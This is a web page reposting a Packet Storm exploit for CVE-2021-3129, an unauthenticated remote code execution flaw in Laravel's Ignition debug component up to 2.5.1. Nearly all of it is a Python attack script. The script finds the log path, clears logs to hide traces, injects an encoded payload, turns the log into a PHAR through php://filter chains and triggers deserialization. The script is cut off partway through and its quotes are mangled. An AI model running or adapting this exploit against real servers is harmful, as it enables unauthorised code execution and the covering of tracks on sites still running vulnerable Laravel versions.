Ignition 2.5.1 Remote Code Execution ≈ Packet Storm – Digitalmunition




Exploit/Advisories no-image-featured-image.png

Published on April 7th, 2021 📆 | 3664 Views ⚑

0

Ignition 2.5.1 Remote Code Execution ≈ Packet Storm

# Exploit Title: Laravel debug mode Remote Code Execution (Ignition < = 2.5.1)
# Date: 05/04/2021
# Exploit Author: Tobias Marcotto
# Tested on: Kali Linux x64
# Version: < 2.5.1
# Description: Ignition before 2.5.2, as used in Laravel and other products, allows unauthenticated remote attackers to execute arbitrary code because of insecure usage of file_get_contents() and file_put_contents(). This is exploitable on sites using debug mode with Laravel before 8.4.2.
# CVE : CVE-2021-3129

*********************************************************************************************************

#!/usr/bin/env python3.7

import base64
import re
import sys
from dataclasses import dataclass

import requests

@dataclass
class Exploit:
session: requests.Session
url: str
payload: bytes
log_path: str

def main(self):
if not self.log_path:
self.log_path = self.get_log_path()

try:
self.clear_logs()
self.put_payload()
self.convert_to_phar()
self.run_phar()
finally:
self.clear_logs()

def success(self, message, *args):
print(‘+ ‘ + message.format(*args))

def failure(self, message, *args):
print(‘- ‘ + message.format(*args))
exit()

def get_log_path(self):
r = self.run_wrapper(‘DOESNOTEXIST’)
match = re.search(r'”file”:”(\/[^”]+?)\/vendor\/[^”]+?”‘, r.text)
if not match:
self.failure(‘Unable to find full path’)
path = match.group(1).replace(‘\/’, ‘/’)
path = f'{path}/storage/logs/laravel.log’
r = self.run_wrapper(path)
if r.status_code != 200:
self.failure(‘Log file does not exist: {}’, path)

self.success(‘Log file: {}’, path)
return path

def clear_logs(self):
wrapper = f’php://filter/read=consumed/resource={self.log_path}’
self.run_wrapper(wrapper)
self.success(‘Logs cleared’)
return True

def get_write_filter(self):
filters = ‘|’.join((
‘convert.quoted-printable-decode’,
‘convert.iconv.utf-16le.utf-8’,
‘convert.base64-decode’
))
return f’php://filter/write={filters}/resource={self.log_path}’

def run_wrapper(self, wrapper):
solution = “Facade\Ignition\Solutions\MakeViewVariableOptionalSolution”
return self.session.post(
self.url + ‘/_ignition/execute-solution/’,
json={
“solution”: solution,
“parameters”: {
“viewFile”: wrapper,
“variableName”: “doesnotexist”
}
}
)

def put_payload(self):
payload = self.generate_payload()
# This garanties the total log size is even
self.run_wrapper(payload)
self.run_wrapper(‘AA’)

def generate_payload(self):
payload = self.payload
payload = base64.b64encode(payload).decode().rstrip(‘=’)
payload = ”.join(c + ‘=00’ for c in payload)
# The payload gets displayed twice: use an additional ‘=00’ so that
# the second one does not have the same word alignment
return ‘A’ * 100 + payload + ‘=00’

def convert_to_phar(self):
wrapper = self.get_write_filter()
r = self.run_wrapper(wrapper)
if r.status_code == 200:
self.success(‘Successfully converted to PHAR !’)
else:
self.failure(‘Convertion to PHAR failed (try again ?)’)

def run_phar(self):
wrapper = f’phar://{self.log_path}/test.txt’
r = self.run_wrapper(wrapper)
if r.status_code != 500:
self.failure(‘Deserialisation failed ?!!’)
self.success(‘Phar deserialized’)
# We might be able to read the output of system, but if we can’t, it’s ok
match = re.search(‘^(.*?)n< !doctype html>n

Tagged with:



Leave a Reply